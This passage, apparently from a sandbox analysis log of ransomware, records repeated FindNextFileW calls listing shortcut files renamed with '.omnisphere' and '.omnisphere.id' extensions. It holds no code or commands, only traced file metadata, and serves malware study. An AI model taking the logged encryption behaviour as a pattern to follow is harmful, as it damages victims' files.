ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x287f942c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x869, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="dFw90W0ozbqlw.lnk.omnisphere", cAlternateFileName="DFW90W~1.OMN")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x287f942c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x287f942c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x287f942c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="dFw90W0ozbqlw.lnk.omnisphere.id", cAlternateFileName="DFW90W~1.ID")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2225a617, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2225a617, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x289553b8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7c0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="dh -Ph0jPP6Vz0.lnk.omnisphere", cAlternateFileName="DH-PH0~1.OMN")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289553b8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x289553b8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x289553b8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="dh -Ph0jPP6Vz0.lnk.omnisphere.id", cAlternateFileName="DH-PH0~1.ID")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22999351, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22999351, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x289edcf0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x855, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="DUv6 W1yQ.lnk.omnisphere", cAlternateFileName="DUV6W1~1.OMN")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289edcf0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x289edcf0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x289edcf0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="DUv6 W1yQ.lnk.omnisphere.id", cAlternateFileName="DUV6W1~1.ID")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf30e3df2, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x1e855d49, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28a13e9c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8b5, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="DVuNw7GJn9GhS7bX0zM.lnk.omnisphere", cAlternateFileName="DVUNW7~1.OMN")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a13e9c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28a13e9c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28a13e9c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="DVuNw7GJn9GhS7bX0zM.lnk.omnisphere.id", cAlternateFileName="DVUNW7~1.ID")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dae94d9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dae94d9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28ad306f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9ca, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="DXa z4w0x7shtSYiLt.lnk.omnisphere", cAlternateFileName="DXAZ4W~1.OMN")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28ad306f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28ad306f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28ad306f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="DXa z4w0x7shtSYiLt.lnk.omnisphere.id", cAlternateFileName="DXAZ4W~1.ID")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed647624, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x218849a3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28b1f0c6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="F56ebCujkg0rfON4Q6c.lnk.omnisphere", cAlternateFileName="F56EBC~1.OMN")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b1f0c6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28b1f0c6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28b1f0c6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="F56ebCujkg0rfON4Q6c.lnk.omnisphere.id", cAlternateFileName="F56EBC~1.ID")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x221c1beb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x221c1beb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28b4532b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="F76nMw.lnk.omnisphere", cAlternateFileName="F76NMW~1.OMN")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b4532b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28b4532b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28b4532b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="F76nMw.lnk.omnisphere.id", cAlternateFileName="F76NMW~1.ID")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22660463, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22660463, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28b917b2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="FbEeBr9puYmz.lnk.omnisphere", cAlternateFileName="FBEEBR~1.OMN")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b917b2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28b917b2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28b917b2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="FbEeBr9puYmz.lnk.omnisphere.id", cAlternateFileName="FBEEBR~1.ID")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20892ea8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20892ea8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28bb7925, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9ad, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="fo1k6w.flv.lnk.omnisphere", cAlternateFileName="FO1K6W~1.OMN")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bb7925, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28bb7925, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28bb7925, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="fo1k6w.flv.lnk.omnisphere.id", cAlternateFileName="FO1K6W~1.ID")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f62e374, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f62e374, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28bddb32, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x869, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="fXjbV28LC0IFk.lnk.omnisphere", cAlternateFileName="FXJBV2~1.OMN")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bddb32, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28bddb32, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28bddb32, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="fXjbV28LC0IFk.lnk.omnisphere.id", cAlternateFileName="FXJBV2~1.ID")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f68f43, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22f68f43, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28c03d39, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8ef, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="gqY92gjilZV.lnk.omnisphere", cAlternateFileName="GQY92G~1.OMN")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28c03d39, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28c03d39, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28c03d39, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="gqY92gjilZV.lnk.omnisphere.id", cAlternateFileName="GQY92G~1.ID")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fd515ad, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1fd515ad, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28c505b3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7bb, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="h JWuZ SUzT 6.lnk.omnisphere", cAlternateFileName="HJWUZS~1.OMN")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28c505b3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28c505b3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28c505b3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="h JWuZ SUzT 6.lnk.omnisphere.id", cAlternateFileName="HJWUZS~1.ID")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee6e7d8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ee6e7d8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28c7659b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9cc, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="HbXrYaf5k.lnk.omnisphere", cAlternateFileName="HBXRYA~1.OMN")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28c7659b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28c7659b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28c7659b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="HbXrYaf5k.lnk.omnisphere.id", cAlternateFileName="HBXRYA~1.ID")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8eb192, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e8eb192, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28c9c7f8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x86e, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="hHGe8VXor0p6BX.lnk.omnisphere", cAlternateFileName="HHGE8V~1.OMN")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28c9c7f8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28c9c7f8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28c9c7f8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="hHGe8VXor0p6BX.lnk.omnisphere.id", cAlternateFileName="HHGE8V~1.ID")) returned 1 [0128.866] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2030f75b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2030f75b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28cc2a9b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x90d, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="HM8-exyEM3FSpZJtX.lnk.omnisphere", cAlternateFileName="HM8-EX~1.OMN")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28cc2a9b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28cc2a9b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28cc2a9b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="HM8-exyEM3FSpZJtX.lnk.omnisphere.id", cAlternateFileName="HM8-EX~1.ID")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffdb3bc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ffdb3bc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28d0edc1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7a7, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="HVQiIJaQW.lnk.omnisphere", cAlternateFileName="HVQIIJ~1.OMN")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d0edc1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28d0edc1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28d0edc1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="HVQiIJaQW.lnk.omnisphere.id", cAlternateFileName="HVQIIJ~1.ID")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd97f0f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dd97f0f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28d350ac, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xb1f, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="hWpM-zhmbQw48.ots.lnk.omnisphere", cAlternateFileName="HWPM-Z~1.OMN")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d350ac, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28d350ac, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28d350ac, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="hWpM-zhmbQw48.ots.lnk.omnisphere.id", cAlternateFileName="HWPM-Z~1.ID")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fc465a7, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1fc465a7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28d5b258, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x95d, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="I4L_hD.lnk.omnisphere", cAlternateFileName="I4L_HD~1.OMN")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d5b258, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28d5b258, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28d5b258, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="I4L_hD.lnk.omnisphere.id", cAlternateFileName="I4L_HD~1.ID")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e63c7e4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e63c7e4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28da77c6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="i58XQciyj.lnk.omnisphere", cAlternateFileName="I58XQC~1.OMN")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28da77c6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28da77c6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28da77c6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="i58XQciyj.lnk.omnisphere.id", cAlternateFileName="I58XQC~1.ID")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e5ca02c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e5ca02c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28dcd91d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x873, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="i74al7MC18tUuay.lnk.omnisphere", cAlternateFileName="I74AL7~1.OMN")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dcd91d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28dcd91d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28dcd91d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="i74al7MC18tUuay.lnk.omnisphere.id", cAlternateFileName="I74AL7~1.ID")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e557914, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e557914, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28df3b62, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8c1, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="iF5h-.lnk.omnisphere", cAlternateFileName="IF5H-L~1.OMN")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28df3b62, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28df3b62, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28df3b62, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="iF5h-.lnk.omnisphere.id", cAlternateFileName="IF5H-L~1.ID")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x207fa557, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x207fa557, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c508cbf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9ae, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="IGalVIojl3yxMqu5f.lnk.omnisphere", cAlternateFileName="IGALVI~1.OMN")) returned 1 [0128.867] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c508cbf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2c508cbf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2c508cbf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="IGalVIojl3yxMqu5f.lnk.omnisphere.id", 